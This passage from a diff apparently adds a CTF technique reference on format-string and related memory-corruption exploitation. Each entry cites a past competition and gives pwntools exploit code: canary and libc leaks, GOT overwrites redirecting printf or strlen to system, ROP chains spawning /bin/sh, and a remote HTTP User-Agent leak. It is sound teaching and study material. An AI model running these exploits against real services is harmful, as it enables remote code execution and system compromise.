|
358
|
+
```python
|
|
359
|
+
# Stage 1: loop back via .fini_array, leak addresses
|
|
360
|
+
payload = fmtstr_payload(offset, {fini_array: main_addr})
|
|
361
|
+
# Stage 2: redirect printf to system, set up canary fail re-entry
|
|
362
|
+
payload = fmtstr_payload(offset, {printf_got: system, stack_chk_got: main_addr})
|
|
363
|
+
# Stage 3: corrupt canary -> __stack_chk_fail -> main -> system(input)
|
|
364
|
+
```
|
|
365
|
+
|
|
366
|
+
**Key insight:** `.fini_array` entries are called when `main()` returns. Overwriting with `main()` creates an execution loop for multi-stage format string attacks. Deliberately corrupting the canary triggers `__stack_chk_fail` as a controlled re-entry vector when that GOT entry has been redirected.
|
|
367
|
+
|
|
368
|
+
**References:** Codegate 2016
|
|
369
|
+
|
|
370
|
+
---
|
|
371
|
+
|
|
372
|
+
## __printf_chk Bypass with Sequential %p (VolgaCTF 2017)
|
|
373
|
+
|
|
374
|
+
**Pattern:** `__printf_chk()` blocks `%n` writes and direct parameter access (`%123$p`). Bypass by chaining sequential `%p` specifiers to reach the desired stack offset.
|
|
375
|
+
|
|
376
|
+
```python
|
|
377
|
+
from pwn import *
|
|
378
|
+
|
|
379
|
+
# __printf_chk restrictions:
|
|
380
|
+
# - No %n/%hn/%hhn writes
|
|
381
|
+
# - No direct access: %123$p fails
|
|
382
|
+
# - Sequential access still works: %p%p%p...
|
|
383
|
+
|
|
384
|
+
# Leak canary at stack offset 267:
|
|
385
|
+
payload = "%p." * 267 + "%p" # sequential %p to offset 267
|
|
386
|
+
io.sendline(payload.encode())
|
|
387
|
+
response = io.recvline().decode()
|
|
388
|
+
leaks = response.split(".")
|
|
389
|
+
canary = int(leaks[266], 16) # 267th value (0-indexed)
|
|
390
|
+
|
|
391
|
+
# Leak libc return address at offset 269:
|
|
392
|
+
payload = "%p." * 269 + "%p"
|
|
393
|
+
io.sendline(payload.encode())
|
|
394
|
+
response = io.recvline().decode()
|
|
395
|
+
leaks = response.split(".")
|
|
396
|
+
libc_ret = int(leaks[268], 16)
|
|
397
|
+
libc_base = libc_ret - known_offset
|
|
398
|
+
|
|
399
|
+
# Then use stack overflow for ROP since format string write is blocked
|
|
400
|
+
payload = b"A" * buf_size
|
|
401
|
+
payload += p64(canary)
|
|
402
|
+
payload += p64(0) # saved rbp
|
|
403
|
+
payload += p64(pop_rdi)
|
|
404
|
+
payload += p64(binsh_addr)
|
|
405
|
+
payload += p64(system_addr)
|
|
406
|
+
io.sendline(payload)
|
|
407
|
+
```
|
|
408
|
+
|
|
409
|
+
**Key insight:** While `__printf_chk` prevents `%n` and direct parameter access (`%N$`), it still allows sequential format specifiers. Chaining hundreds of `%p` reaches any stack offset, enabling leaks (canary, libc, PIE) even without write capability. Combine with a separate overflow vulnerability for the write stage.
|
|
410
|
+
|
|
411
|
+
**When to recognize:** Binary uses `__printf_chk` or `__fprintf_chk` (visible in disassembly or via `__fortify_source`). Direct `%N$p` fails but sequential `%p%p%p...` still works. Output may be very large -- parse carefully with delimiters.
|
|
412
|
+
|
|
413
|
+
**References:** VolgaCTF 2017
|
|
414
|
+
|
|
415
|
+
---
|
|
416
|
+
|
|
417
|
+
## Leak + GOT Overwrite in Single printf Call (picoCTF 2017)
|
|
418
|
+
|
|
419
|
+
**Pattern:** When a format string vulnerability is followed immediately by `exit(0)`, combine address leak and GOT overwrite in a single printf invocation.
|
|
420
|
+
|
|
421
|
+
```python
|
|
422
|
+
from pwn import *
|
|
423
|
+
|
|
424
|
+
# Must leak libc AND redirect exit() in one printf call
|
|
425
|
+
# Layout: padding + dummy_addr + %leak$p + %Nc + %write$hn + padding + got_addr
|
|
426
|
+
|
|
427
|
+
exit_got = elf.got['exit']
|
|
428
|
+
main_addr = elf.sym['main']
|
|
429
|
+
target_low16 = main_addr & 0xFFFF
|
|
430
|
+
|
|
431
|
+
payload = b'e_______' # 8 bytes padding
|
|
432
|
+
payload += p64(0x4141414141) # dummy (consumed by leak specifier)
|
|
433
|
+
payload += b' %25$p' # leak libc address at offset 25
|
|
434
|
+
# Calculate bytes needed: target_low16 - bytes_written_so_far
|
|
435
|
+
bytes_written = len(payload)
|
|
436
|
+
padding_needed = (target_low16 - bytes_written) % 0x10000
|
|
437
|
+
payload += f'%{padding_needed}c%19$hn'.encode() # write low 2 bytes to offset 19
|
|
438
|
+
payload += b'A' * ((8 - (len(payload) % 8)) % 8) # alignment to 8 bytes
|
|
439
|
+
payload += p64(exit_got) # address for %19$hn write
|
|
440
|
+
|
|
441
|
+
# Result: leaks libc via %25$p AND overwrites exit@GOT via %19$hn
|
|
442
|
+
# exit() jumps back to main for second-stage exploitation
|
|
443
|
+
io.sendline(payload)
|
|
444
|
+
|
|
445
|
+
# Parse leaked libc address from output
|
|
446
|
+
io.recvuntil(b' 0x')
|
|
447
|
+
libc_leak = int(io.recv(12), 16)
|
|
448
|
+
libc_base = libc_leak - known_offset
|
|
449
|
+
|
|
450
|
+
# Second pass: now with libc known, overwrite for shell
|
|
451
|
+
# ...
|
|
452
|
+
```
|
|
453
|
+
|
|
454
|
+
**Key insight:** A single `printf` can perform both reads (`%p`) and writes (`%hn`) simultaneously. When `exit()` immediately follows the vulnerability, overwrite `exit@GOT` with `main`'s address in the same call that leaks libc, creating a re-entry point for full exploitation. The key is careful offset calculation so the leak specifier and write specifier reference the correct stack positions.
|
|
455
|
+
|
|
456
|
+
**When to recognize:** Format string vulnerability with only one shot before `exit()` or another terminating function. The single-call technique avoids needing a loop or re-entry mechanism before establishing one.
|
|
457
|
+
|
|
458
|
+
**References:** picoCTF 2017
|
|
459
|
+
|
|
460
|
+
---
|
|
461
|
+
|
|
462
|
+
## Objective-C %@ Format Specifier Exploitation (SHA2017)
|
|
463
|
+
|
|
464
|
+
**Pattern:** Objective-C's `NSLog` and related functions support the `%@` format specifier, which calls `objc_msg_lookup(rdi, ...)` treating the corresponding stack value as an Objective-C object pointer. Control the stack value pointed to by `%N$@` to control `rdi`. Analysis of `objc_msg_lookup` reveals a `call rax` gadget reachable with crafted conditions, enabling one-shot execution.
|
|
465
|
+
|
|
466
|
+
**Mechanism:**
|
|
467
|
+
```text
|
|
468
|
+
NSLog(@"Hello %@", user_input)
|
|
469
|
+
→ %@ consumes next argument from stack
|
|
470
|
+
→ argument is treated as Objective-C object pointer (rdi)
|
|
471
|
+
→ objc_msg_lookup(rdi, "description") is called
|
|
472
|
+
→ if [rdi+8] == 0 (ISA check fails), execution reaches: call rax
|
|
473
|
+
→ rax is under attacker control via the crafted "object"
|
|
474
|
+
```
|
|
475
|
+
|
|
476
|
+
**Exploitation:**
|
|
477
|
+
```python
|
|
478
|
+
# Craft a fake Objective-C object on the stack via format string write
|
|
479
|
+
# Object layout: [isa_ptr][method_list_ptr][...]
|
|
480
|
+
# Set isa_ptr = 0 to reach the call rax path in objc_msg_lookup
|
|
481
|
+
# Set rax = one_gadget or system() via prior %n writes
|
|
482
|
+
|
|
483
|
+
# Locate %N$@ position: stack offset where fake object pointer lands
|
|
484
|
+
# Use %n to write fake object address at the right stack slot
|
|
485
|
+
# Then trigger %@ to call objc_msg_lookup → call rax → shell
|
|
486
|
+
payload = b'%<distance>c%<write_offset>$lln' # write fake obj addr
|
|
487
|
+
payload += b'%<obj_offset>$@' # trigger call rax
|
|
488
|
+
```
|
|
489
|
+
|
|
490
|
+
**Key insight:** Objective-C format strings include `%@` which invokes `objc_msg_lookup` on a stack pointer — turns a read-only FSB into a controlled-call primitive via the objc runtime. The `call rax` gadget inside `objc_msg_lookup` is reachable when the ISA pointer check fails, making a crafted "null ISA" object sufficient to redirect execution.
|
|
491
|
+
|
|
492
|
+
**References:** SHA2017
|
|
493
|
+
|
|
494
|
+
---
|
|
495
|
+
|
|
496
|
+
## strlen Integer Truncation Bypass (ASIS CTF Finals 2017)
|
|
497
|
+
|
|
498
|
+
**Pattern:** Binary filters format string input by checking that each character up to `strlen(input)+1` is lowercase. However, the `strlen()` result is cast to `int8_t`: at input length 255, `(int8_t)(255 + 1)` overflows to 0, collapsing the sanitization window to an empty range. Format specifiers like `%n` placed beyond byte 255 bypass the filter entirely.
|
|
499
|
+
|
|
500
|
+
**Vulnerable code pattern:**
|
|
501
|
+
```c
|
|
502
|
+
void filter(char *input) {
|
|
503
|
+
int8_t len = (int8_t)strlen(input); // truncates at 255 → wraps to -1 or 0
|
|
504
|
+
for (int8_t i = 0; i <= len; i++) { // at len==-1 (255 cast): 0 <= -1 is false
|
|
505
|
+
if (!islower(input[i]))
|
|
506
|
+
reject();
|
|
507
|
+
}
|
|
508
|
+
}
|
|
509
|
+
```
|
|
510
|
+
|
|
511
|
+
**Exploitation:**
|
|
512
|
+
```python
|
|
513
|
+
# Pad with 255 lowercase bytes, then place %n-based payload starting at byte 255
|
|
514
|
+
# The filter checks bytes 0..len, but len wraps to -1 (or 0+1=0), so no bytes checked
|
|
515
|
+
filler = b'a' * 255
|
|
516
|
+
exploit_suffix = b'%7$n' + p64(target_addr) # unchecked bytes
|
|
517
|
+
payload = filler + exploit_suffix
|
|
518
|
+
```
|
|
519
|
+
|
|
520
|
+
**Key insight:** `strlen()` cast to `int8_t` produces signed overflow at length 255, collapsing the sanitization window to zero. Any payload content placed at or beyond byte 255 escapes the filter. Always check for integer truncation when a length field is stored in a signed or short type.
|
|
521
|
+
|
|
522
|
+
**References:** ASIS CTF Finals 2017
|
|
523
|
+
|
|
524
|
+
---
|
|
525
|
+
|
|
526
|
+
## printf_function_table Overwrite via Buffer Overflow (34C3 CTF 2017)
|
|
527
|
+
|
|
528
|
+
**Pattern:** Exploit glibc's internal printf dispatch tables to turn a buffer overflow into an information leak without needing a format string vulnerability. When `printf_function_table` is non-NULL, glibc dispatches format specifiers through `printf_arginfo_table` instead of the default handlers.
|
|
529
|
+
|
|
530
|
+
**Mechanism:**
|
|
531
|
+
1. Buffer overflow to create a fake `printf_arginfo_size_function` structure pointing to `_fortify_fail`
|
|
532
|
+
2. Overwrite `__libc_argv` so `_fortify_fail` prints the flag instead of the real `argv[0]`
|
|
533
|
+
3. Set `printf_function_table` to a non-NULL value (triggers alternate dispatch)
|
|
534
|
+
4. Set `printf_arginfo_table` to point to the fake structure
|
|
535
|
+
|
|
536
|
+
**How the dispatch works:**
|
|
537
|
+
```c
|
|
538
|
+
// Inside glibc's printf implementation:
|
|
539
|
+
if (__printf_function_table != NULL) {
|
|
540
|
+
// Alternate path: look up handler via printf_arginfo_table
|
|
541
|
+
int spec_index = format_char; // e.g., 'd' = 100
|
|
542
|
+
// Calls printf_arginfo_table[spec_index](...)
|
|
543
|
+
// → redirected to _fortify_fail
|
|
544
|
+
}
|
|
545
|
+
|
|
546
|
+
// _fortify_fail prints:
|
|
547
|
+
// "*** buffer overflow detected ***: %s terminated\n", __libc_argv[0]
|
|
548
|
+
// If __libc_argv[0] points to the flag → flag is leaked
|
|
549
|
+
```
|
|
550
|
+
|
|
551
|
+
**Exploitation:**
|
|
552
|
+
```python
|
|
553
|
+
from pwn import *
|
|
554
|
+
|
|
555
|
+
# Addresses determined from libc
|
|
556
|
+
printf_function_table = libc_base + PRINTF_FUNCTION_TABLE_OFF
|
|
557
|
+
printf_arginfo_table = libc_base + PRINTF_ARGINFO_TABLE_OFF
|
|
558
|
+
libc_argv = libc_base + LIBC_ARGV_OFF
|
|
559
|
+
fortify_fail = libc_base + FORTIFY_FAIL_OFF
|
|
560
|
+
|
|
561
|
+
# Step 1: Overflow to overwrite __libc_argv to point to flag location
|
|
562
|
+
# Step 2: Create fake arginfo table entry pointing to _fortify_fail
|
|
563
|
+
# Step 3: Set printf_function_table to non-NULL
|
|
564
|
+
# Step 4: Set printf_arginfo_table to fake table
|
|
565
|
+
|
|
566
|
+
# Any subsequent printf with a format specifier (e.g., %d, %s)
|
|
567
|
+
# triggers: printf_arginfo_table['d'] → _fortify_fail
|
|
568
|
+
# _fortify_fail reads __libc_argv[0] → prints flag contents
|
|
569
|
+
```
|
|
570
|
+
|
|
571
|
+
**Key insight:** When `printf_function_table` is non-NULL, glibc dispatches format specifiers through `printf_arginfo_table`. Overwriting both lets you redirect any printf format specifier to an arbitrary function. Combined with `_fortify_fail` (which prints `__libc_argv[0]`), this turns a buffer overflow into an info leak without needing a format string vulnerability.
|
|
572
|
+
|
|
573
|
+
**When to recognize:** Buffer overflow that can reach glibc globals but no direct format string vulnerability. The target binary calls `printf` with format specifiers after the overflow. Useful when the goal is information exfiltration (flag leak) rather than code execution.
|
|
574
|
+
|
|
575
|
+
**References:** 34C3 CTF 2017
|
|
576
|
+
|
|
577
|
+
---
|
|
578
|
+
|
|
579
|
+
## scanf Format String on Stack Overwrite (TUCTF 2017)
|
|
580
|
+
|
|
581
|
+
**Pattern:** When `scanf`'s format string (e.g., `"%30s"`) is stored on the stack adjacent to the user input buffer rather than in `.rodata`, the first input can overflow into the format specifier itself, expanding the allowed read size for the next call.
|
|
582
|
+
|
|
583
|
+
**Two-stage overflow:**
|
|
584
|
+
```python
|
|
585
|
+
from pwn import *
|
|
586
|
+
|
|
587
|
+
# Stage 1: Overflow the scanf format string on the stack
|
|
588
|
+
# Format "%30s" is stored 0x14 bytes after the input buffer
|
|
589
|
+
# Overwrite it to become "%99s"
|
|
590
|
+
payload0 = b"0" * 0x14 + p32(0x73393925) # 0x73393925 = "%99s" in little-endian
|
|
591
|
+
io.sendline(payload0)
|
|
592
|
+
|
|
593
|
+
# Stage 2: scanf now reads up to 99 bytes instead of 30
|
|
594
|
+
# Use the expanded buffer to reach and overwrite the return address
|
|
595
|
+
payload1 = b"0" * 0x31 + p32(win_addr) # 0x31 bytes padding + return address
|
|
596
|
+
io.sendline(payload1)
|
|
597
|
+
```
|
|
598
|
+
|
|
599
|
+
**Stack layout:**
|
|
600
|
+
```text
|
|
601
|
+
+0x00: input_buffer[30] ← scanf reads here
|
|
602
|
+
+0x14: format_string[4] ← "%30s" (overwritten to "%99s")
|
|
603
|
+
...
|
|
604
|
+
+0x31: saved_ebp
|
|
605
|
+
+0x35: return_address ← target for stage 2
|
|
606
|
+
```
|
|
607
|
+
|
|
608
|
+
**Key insight:** If the format specifier for `scanf` is on the stack (not in `.rodata`), the first input can overwrite it to expand the read size, then the second input uses the expanded format to reach the return address. Two-stage overflow: first expand the format string, then exploit the expanded buffer. Check whether format strings are stack-allocated by examining the disassembly — `lea` from `rbp`/`rsp` offset (stack) vs. `lea` from `rip`-relative address (`.rodata`).
|
|
609
|
+
|
|
610
|
+
**When to recognize:** Binary uses `scanf` with a format string that limits input length (e.g., `%30s`), but the overflow is just short of reaching the return address. If the format string is a local variable on the stack rather than a string literal, this two-stage technique bridges the gap.
|
|
611
|
+
|
|
612
|
+
**References:** TUCTF 2017
|
|
613
|
+
|
|
614
|
+
---
|
|
615
|
+
|
|
616
|
+
## Format String Exploit Through ROT13 Encoding (SunshineCTF 2018)
|
|
617
|
+
|
|
618
|
+
**Pattern:** A "ROT13 encryption service" applies ROT13 to user input before passing it to `printf`. Leak addresses and build format string payloads, but ROT13-encode them first so they survive the transformation and reach `printf` intact.
|
|
619
|
+
|
|
620
|
+
**Attack chain:**
|
|
621
|
+
1. Input is ROT13-encoded by the binary before reaching `printf`
|
|
622
|
+
2. ROT13 is self-inverse: `rot13(rot13(x)) = x`
|
|
623
|
+
3. Pre-encode format string payloads with ROT13 so the transformation produces the intended format specifiers
|
|
624
|
+
4. Leak libc and program addresses via ROT13-encoded `%p` specifiers
|
|
625
|
+
5. Build a `fmtstr_payload` to overwrite `strlen@GOT` with `system`, then send `/bin/sh`
|
|
626
|
+
|
|
627
|
+
```python
|
|
628
|
+
import codecs
|
|
629
|
+
from pwn import *
|
|
630
|
+
|
|
631
|
+
def rot13(s):
|
|
632
|
+
return codecs.encode(s, 'rot_13')
|
|
633
|
+
|
|
634
|
+
io = remote('target', 1337)
|
|
635
|
+
|
|
636
|
+
# Stage 1: Leak addresses through ROT13 transform
|
|
637
|
+
# rot13('%2$x|%3$x') produces encoded string; after binary's rot13, printf sees '%2$x|%3$x'
|
|
638
|
+
io.sendline(rot13('%2$x|%3$x').encode())
|
|
639
|
+
leak = io.recvline().decode()
|
|
640
|
+
libc_leak, prog_leak = leak.split('|')
|
|
641
|
+
libc_base = int(libc_leak, 16) - known_offset
|
|
642
|
+
prog_base = int(prog_leak, 16) - known_offset
|
|
643
|
+
|
|
644
|
+
# Stage 2: Overwrite strlen@GOT with system via format string
|
|
645
|
+
strlen_got = prog_base + elf.got['strlen']
|
|
646
|
+
system_addr = libc_base + libc.symbols['system']
|
|
647
|
+
writes = {strlen_got: system_addr}
|
|
648
|
+
payload = fmtstr_payload(7, writes)
|
|
649
|
+
|
|
650
|
+
# ROT13-encode the entire payload so binary's rot13 produces the real fmt string
|
|
651
|
+
encoded_payload = rot13(payload.decode('latin-1')).encode('latin-1')
|
|
652
|
+
io.sendline(encoded_payload)
|
|
653
|
+
|
|
654
|
+
# Stage 3: Send /bin/sh -- strlen("/bin/sh") now calls system("/bin/sh")
|
|
655
|
+
io.sendline(b'/bin/sh')
|
|
656
|
+
io.interactive()
|
|
657
|
+
```
|
|
658
|
+
|
|
659
|
+
**Key insight:** When input is transformed before reaching printf (ROT13, Caesar, etc.), pre-encode the format string payload with the inverse transform. ROT13 is self-inverse, so `rot13(rot13(payload)) = payload` reaches printf intact. This applies to any invertible transformation applied before a format string sink -- XOR, base64, substitution ciphers, etc.
|
|
660
|
+
|
|
661
|
+
**References:** SunshineCTF 2018
|
|
662
|
+
|
|
663
|
+
---
|
|
664
|
+
|
|
665
|
+
## Format String in HTTP User-Agent for PIE Leak (X-MAS CTF 2018)
|
|
666
|
+
|
|
667
|
+
**Pattern:** A PIE-compiled HTTP server logs the `User-Agent` header with `printf(ua)`. No other info-leak primitives exist, but the stack canary and PIE base both sit near the logging frame. One request leaks both in a single response.
|
|
668
|
+
|
|
669
|
+
```python
|
|
670
|
+
# Leak canary at offset 6, PIE base at offset 7
|
|
671
|
+
r = requests.get('http://target/', headers={'User-Agent': '%6$p.%7$p'})
|
|
672
|
+
canary, pie = [int(x, 16) for x in r.text.strip().split('.')]
|
|
673
|
+
pie_base = pie - elf.sym['main']
|
|
674
|
+
```
|
|
675
|
+
|
|
676
|
+
**Key insight:** Any header parsed into a format-string sink turns a remote HTTP server into a leak oracle. Check logs, error messages, and reflected headers before assuming you need a binary-local primitive.
|
|
677
|
+
|
|
678
|
+
**References:** X-MAS CTF 2018 — I want that toy, writeup 12672
|
|
679
|
+
|
|
680
|
+
---
|
|
681
|
+
|
|
682
|
+
## Null-Byte Address Fragmentation in Small Buffers (FireShell 2019)
|
|
683
|
+
|
|
684
|
+
**Pattern:** The vulnerable buffer is 16 bytes, so a typical `fmtstr_payload(offset=..., writes={addr: val})` fails because `printf` stops at the first null byte in `addr`. Work around it by placing the format specifier *first* and the target address *last* in the buffer — printf consumes the format bytes before it hits the null.
|
|
685
|
+
|
|
686
|
+
```python
|
|
687
|
+
fmtstr = b"%9x%11$n" + b"\x20\x20\x60\x00\x00\x00\x00\x00"
|
|
688
|
+
# printf processes %9x%11$n using the address at offset 11 (the trailing 8 bytes)
|
|
689
|
+
# Writes 0x9 (from %9x count) to *0x602020
|
|
690
|
+
```
|
|
691
|
+
|
|
692
|
+
**Key insight:** Format-string null-byte restrictions only bite when the address precedes the format directives. Put the directives first so `printf` parses them before touching the address, then let `%$n` reference the trailing address slot.
|
|
693
|
+
|
|
694
|
+
**References:** FireShell CTF 2019 — casino, writeup 12916
|